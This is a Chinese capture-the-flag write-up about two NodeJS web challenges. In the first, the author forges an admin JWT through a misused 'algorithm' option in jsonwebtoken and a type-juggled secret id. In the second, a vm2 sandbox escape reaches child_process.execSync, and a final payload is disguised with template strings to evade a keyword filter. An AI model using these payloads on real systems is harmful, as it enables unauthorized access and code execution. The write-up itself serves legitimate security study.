感觉比较有意思的一次比赛题目,NodeJS的题目出的很典型,值得去分析和研究一下。
进入页面:
http://da71ab5b-cd34-4b13-a145-4f942b8dd1d9.node3.buuoj.cn/login
首先看一下源码,发现了/static/js/app.js
:
先记录下来
然后直接打开dirsearch
跑一波:
python3 dirsearch.py -u http://xxx.node3.buuoj.cn/ -e php,js
buuctf我倒是没扫出来,但是在之前的环境我扫出来了:
http://8553ee3bca5d4afd82cba14f26571bd78c39d52b06614ac1.changame.ichunqiu.com/app.js
http://8553ee3bca5d4afd82cba14f26571bd78c39d52b06614ac1.changame.ichunqiu.com/controller.js
http://8553ee3bca5d4afd82cba14f26571bd78c39d52b06614ac1.changame.ichunqiu.comn/package.json
然后就到NodeJS的代码审计环节了:
我们可以很直接看到这个程序是基于KOA框架写的,经典的MVC架构
const rest = require('./rest'); const controller = require('./controller');
通过这两句话,可以判断app.js
同级目录,还存在rest.js
and controller.js
我们分别访问看看:
其实代码量不是很大,大概也能读懂,但是大概读懂跟发现漏洞细节差别是很大的,所以我们最好能深入理解下这个程序的执行流程,这个时候我选择了根据KOA关键字和一些代码找了一些相关资料来进行了学习。
比如肖雪峰的NodeJs Web开发,通过对比,我可以快速排除一些可能的漏洞点,比如任意文件读取之类的,下面我们来分析看看。
我们在命令行新建一个项目:
接着我们尝试安装KOA,通过源文件泄露的package.json
的我们可以确定KOA的版本
所以我们也安装一个相同的版本在本地进行测试:
npm install [email protected]
然后我们在index.js
运行下面一个例子来分析。
koa执行逻辑的一个简单例子:
const Koa = require('koa'); const app = new Koa(); app.use(async (ctx, next) => { await next(); ctx.response.type = 'text/html'; ctx.response.body = '<h1>Hello, koa2!</h1>'; }); app.listen(3000); console.log("app start at port 3000...")
逻辑是:
用户的每一个url请求->koa对象拦截->调用通过app.use注册async函数(这个函数理解为异步操作函数就行了)
async(ctx, next)
函数的处理逻辑:
ctx形参是可以接受koa传入的封装的request and response变量的值
next 是koa传入的将要处理下一个异步函数。
ctx
可以帮助我们获取请求参数的内容,这里同样可以设置返回的内容。
那么函数里面的await next()
调用下一个异步函数的作用是什么呢?
因为KOA把async函数组成了一个处理链,所以能够异步处理到链中的每一个函数,所以我们都需要设置这句话。
其中app.use()出现的顺序决定了每个async执行的顺序。
那么我们如何针对不同URL来选择不同的async
函数来处理呢?
一种经典的用法是:
app.use(async (ctx, next) => { if (ctx.request.path === '/') { ctx.response.body = 'index page'; } else { await next(); } });
通过ctx.request.path
来判断:
但是这样有点缺点,就是这样判断感觉太费力了。
这个时候,我们就引入了koa-router
来解析路由,koa-bodyparser
来解析内容(这样我们就不用自己通过str.split('&')
来解析传送来的表单或者json的相关内容了。
题目中还用到Crypto
库来生成app.keys
,koa-static
,koa-views
等一些库
const { resolve } = require('path');
这里注意下这个代码等价于:
const _ = require('path');
const resolve = _.resolve;
//resolve 的功能主要是拼接路径,怎么拼接?
const { resolve } = require('path'); console.log(__dirname); var path = resolve(__dirname, "..//test") console.log(path);output:
/Users/xq17/Desktop/t/easy_login/node_modules /Users/xq17/Desktop/t/easy_login/test
阅读到此,我们已经可以基本理解app.js
到底做了什么。
那么我们下面就开始着重分析下:rest.js
and controller.js
先从controller.js
开始说起,这里为什么要注册个controller的对象呢?
如果我们按照上面所说的用router
处理URL
可以看到逻辑是这样的
app.user->router.routes->router.get
这样一个逻辑,这样的话所有路由也是集中在index.js
,所以为了减少index.js
的代码量,题目采取了重写一个继承router
框架的路由注册到app.use
中,并且采取了module.export
的方式开放自己的调用权限。
可以看到这种思路其实是扫描controllers
路径下的js文件,然后加载他们moudle.exports
开放出来变量注册到router里面去。
当时我是没找到api.js
文件的,但是我看到了reset.js
文件
其实作用很简单,就是先于控制器,绑定ctx绑定了一个rest的属性,给ctx绑定一个统一的返回类型,然后可以在控制器里面通过ctx.rest({token:token})
来统一调用。
然后结合案例,猜测了controllers/api.js
controllers/login.js
等格式
确定了api.js
,由此我们来到了与用户交互最重要的控制器环节。
(1) 注册环节
这里值得注意的是限制了admin注册,说明后面肯定需要绕过这里
(2) 登录环节
这里单从代码逻辑上看是没有问题的。
(3)GetFlag环节
通过上面的分析,我们的目标就是伪造admin用户
当时我是存在了两种思路的:
1.通过注册一个admin%00-%255等的畸形用户,绕过===判断,然后在jwt.sign环节签名的时候如果有去除这些字符的功能,就可以实现绕过
2.尝试攻击jwt.verify函数弱点,实现None签名绕过(Ps.这个点如果没做过一些相关题目,是很难想到的,这也是题目的主要解,下面我会从原理来进行分析一次)
为了分析这两种思路的可行性,我们先编写一个简易的代码用来debug:
1.npm install [email protected]
2.index.js
首先我们可以快速FUZZ一下可能性:
const crypto = require('crypto'); const jwt = require('jsonwebtoken'); const secret = crypto.randomBytes(18).toString(); console.log("secret:\n" + secret); const secretid = 1; const username = 'admin'; const password = '123'; // const token = jwt.sign({secretid, username, password}, secret, {algorithm:'HS256'}); // console.log("token:\n"+token); // const user = jwt.verify(token, secret, {algorithm: 'HS256'}); // console.log(user.username + " length:" + user.username.length); console.log("start Fuzzing..."); for(var i=1;i<=255;i++){ fuzzName = username+String.fromCharCode(i); // console.log(fuzzName + "length:" + fuzzName.length); if(fuzzName !== 'admin'){ _token = jwt.sign({secretid, fuzzName, password}, secret, {algorithm:'HS256'}); _user = jwt.verify(_token, secret, {algorithm: 'HS256'}); if(_user.fuzzName === 'admin'){ console.log("success! i:" + i); break; }else{ console.log("fail! i:" + i + " userFuzzname:" + _user.fuzzName); } } }
很遗憾,失败告终。
虽然可以排除一些猜想,但是还是该保守点, 我选择了跟进代码看看jwt库会不会对username
进行什么特殊处理。
这里笔者用的是VScode来进行调试:
跟进断点:
/node_modules/jsonwebtoken/sign.js
前面都是对参数做了非空判断、类型转换等操作
在114行对payload
进行了校验,因为对象是引用类型,所以有可能对payload的值进行修改,所以我们跟进看看:
此时的调用栈如下,可以看到这里的操作只是单纯判断,allowUnkown
为true,所以并没有执行什么操作。
我们继续在114向后跟进处理吧
最终跟进这里:
我们不难看到的payload
调用栈如下:
这里我们可以看到:
我们的payload强制转换采用的JSON.stringify
的函数,然后采用base64url进行了编码,最后将生成的数据进行签名防止被篡改。
那么我们的问题就转移到了JSON.stringify
函数的处理中:
因为是js的原生函数,
如果Json里面的键值字符串内容进行特殊处理的话,文档里面应该会提到的,结果查阅之后发现并没有,那么这种解决思路很明显是行不通的,所以我们应该抛弃这种思路。
那么这道题的正确思路是怎么样的呢?
这个问题我们得先从jwt的verify流程开始跟起:
最后我们跟到获取getSecret
的关键处
这里就很有意思了
可以看到
hasSignature
的值当我们token不传第2部分即签名位时,可以控制为false
然后options.algorithms
这里源码利用的algorithms
带s的这个属性来判断,而我们传入的确是
options.algorithm
那么也就是说源码里面默认就是options.algorithms
这个值本身就是None的
不存在的。
那么这个程序为什么能跑起来呢?
因为我们加密的时候的确是选择了签名的,所以`hasSignature=TRUE
就算我们没有传入的options.algorithms
程序也会默认加载系统定义的类型:
这样子我们alg的构造头里面存在其中的方法,那么程序就可以正常运行了。
由上面可知我们生成的token
是采用的了HS256
加密方式加密的,所以这个流程走完是没问题的。
这也是这个程序的一个容错机制的体现,能够根据加密的内容来选择解密方式。
那么我们怎么实现攻击呢?
我们需要伪造一个None签名的token
,也就是不进行签名判断
但是我们需要绕过上面的一个判断:
那就是secretOrPublicKey
这个值必须为False
,这个值
这个值其实就是我们传入的密钥,所以我们要让None签名顺利走完这个流程,我们需要控制密钥的值为undefine或者为空
if(undefined || ''){ console.log("fail") }else{ console.log("ok") } // output ok
而前面可知,我们的密钥是根据一个数组然后通过下标来取的,题目对下标还做了判断
if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) { throw new APIError('login error', 'no such secret id'); }
AngstromCTF 2019出国类似的题目思想,利用javascript的弱类型特点,可以绕过
sid = [] console.log(sid === undefined || sid === null || !(sid < 10 && sid >= 0));
所以说我们只需要构造一个这样的
const crypto = require('crypto'); const jwt = require('jsonwebtoken'); const secretid = []; const username = 'admin'; const password = '123'; const token = jwt.sign({secretid, username, password}, '', {algorithm:'none'}); console.log(token);
得到伪造的token值
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzZWNyZXRpZCI6W10sInVzZXJuYW1lIjoiYWRtaW4iLCJwYXNzd29yZCI6IjEyMyIsImlhdCI6MTU4ODEzODI1MH0.
我们直接抓登录包,修改为伪造token值,密码修改为123
PS.问题衍生之正确的用法:
因为传入的是Object类型,所以就算多出多余的属性,也不会报错,所以这个考点可以说是出题人用来混淆我们视线的一个坑,还有就是开发者对于该库的使用太轻率,
没有好好阅读相关文档。
官方的用法:
正确的用法应该是这样的:
const user = jwt.verify(token, secret, {algorithms: ['HS256']});
而不是我们题目里面的:
const user = jwt.verify(token, secret, {algorithm: 'HS256'});
这道题目从题目来看就能猜到是逃逸相关的题目,不过出题人的确花了一番心思去移花接木,不让考点那么直接,从而避免了被秒解的尴尬。
入口是这个地址, 当时看到这个提示,我心理还是觉得很奇怪的。
感觉这个不像是PHP的代码,反而很像Javascript的语言,简单测试无果,直接开dirsearch发现了一个这个index.php
这不是个shell吗?
后面才发现作者真的是用心良苦,很明显就是nodejs采用express写的一个网站。
这下子我们就需要转换下思路了,从PHP->NodeJS
http://7e95c322-db39-4050-abaf-cd5ce28c954f.node3.buuoj.cn/run.php?code=new%20function(){%20throw%20e;}
很明显这是一道沙盒逃逸题:
那么我们肯定要收集下信息,这里我们打印错误的堆栈信息:
run.php?code=new Error().stack
确定了是vm2的库:
/app/node_modules/vm2/
搜索下网上的内容,发现这个库出现在题目中不是一次两次了,我们通过文章定位到了:
https://github.com/patriksimek/vm2/issues?q=author%3AXmiliaH+
通过这个链接我们很容易得到了这个逃逸的方式:
这里最新版是:3.9.1, 这里我们用3.8.3 来尝试下:
npm install [email protected]
这个大神给出了两个payload:
其中一个是:
"use strict"; const {VM} = require('vm2'); const untrusted = '(' + function(){ TypeError.prototype.get_process = f=>f.constructor("return process")(); try{ Object.preventExtensions(Buffer.from("")).a = 1; }catch(e){ return e.get_process(()=>{}).mainModule.require("child_process").execSync("whoami").toString(); } }+')()'; try{ console.log(new VM().run(untrusted)); }catch(x){ console.log(x); }
可以看到这个payload可以成功绕过的,但是我们可以看到报错信息并不一致,所以我们还是尝试阶段。
(function(){TypeError.prototype.get_process = f=>f.constructor("return process")();try{Object.preventExtensions(Buffer.from("")).a = 1;}catch(e){return e.get_process(()=>{}).mainModule.require("child_process").execSync("whoami").toString();}})()
直接丢进URL,发现返回的是个键盘:
这其实就挺诡异的了,这个时候我经过拆解payload:
(function(){TypeError.prototype.get_process =1;})()
发现这其实是一种针对特殊字符的过滤,这个时候我们就可以通过一个脚本来FUZZ看看是什么规则了。
#!/usr/bin/python3 # import requests payload = """(function(){TypeError.prototype.get_process = f=>f.constructor("return process")();try{Object.preventExtensions(Buffer.from("")).a = 1;}catch(e){return e.get_process(()=>{}).mainModule.require("child_process").execSync("whoami").toString();}})()""" print(payload) req_url = 'http://8b6d7d7f-43e9-464f-a7ec-394d424747eb.node3.buuoj.cn/run.php?code=' fuzz_payload = "" for k in payload: fuzz_payload += k req_payload = req_url + fuzz_payload data = requests.get(req_payload).text if 'Happy Hacking' in data: print("waf! k:{}".format(k)) fuzz_payload = fuzz_payload[:-1] + '0' print(fuzz_payload) print(fuzz_payload)
(function(){TypeError.prototyp0.get_proces0 = f=>f.constructo0(0return proces00)();try{Object.preventExtensions(Buffer.from(00)).a = 1;}catch(e){return e.get_proces0(()=>{}).mainModule.require(0child_proces00).exe0Sync(0whoami0 (function(){TypeError.prototyp0.get_proces0 = f=>f.constructo0(0return proces00)();try{Object.preventExtensions(Buffer.from(00)).a = 1;}catch(e){return e.get_proces0(()=>{}).mainModule.require(0child_proces00).exe0Sync(0whoami0).toString();}})()
不难发现:
prototype,constrctor,",process,exec,'
都被过滤了。
进行了过滤,像js的这些关键字的绕过,其实非常简单,利用他原生的模板字符串功能就行了。
首先我们要想一下怎么构造:
这个特性和以前我们做PHP题目那个计算器简直就是异曲同工的思路.($$pi{0}
)
通过这种嵌套的方式,还原一个常量字符串为变量字符串:
里面层:
`${`constructo`}r` //主要拼接成constructor `用来代替单双引号
最外面一层:${} //解析为变量字符串
我们重新构造下exp:
`${`${`prototyp`}e`}` `${`${`get_proces`}s`}` `${`${`constructo`}r`}` `${`${`proces`}s`}` `${`e${`xecSync`}`}` `${`${`child_proces`}s`}` 这里需要注意的是: TypeError.prototyp0.get_proces0 这里的.获取属性我们需要更改为TypeError['prototype']这种形式去改写。 最终payload: (function(){TypeError[`${`${`prototyp`}e`}`][`${`${`get_proces`}s`}`] = f=>f[`${`${`constructo`}r`}`](`${`return ${`proces`}s`}`)();try{Object.preventExtensions(Buffer.from(``)).a = 1;}catch(e){return e[`${`${`get_proces`}s`}`](()=>{}).mainModule.require(`${`${`child_proces`}s`}`)[`${`${`exe`}cSync`}`](`whoami`).toString();}})()
感觉NodeJS这种新语言的考点应该会被各位出题人各种挖掘,希望将来有人挖掘出更有意思的考点。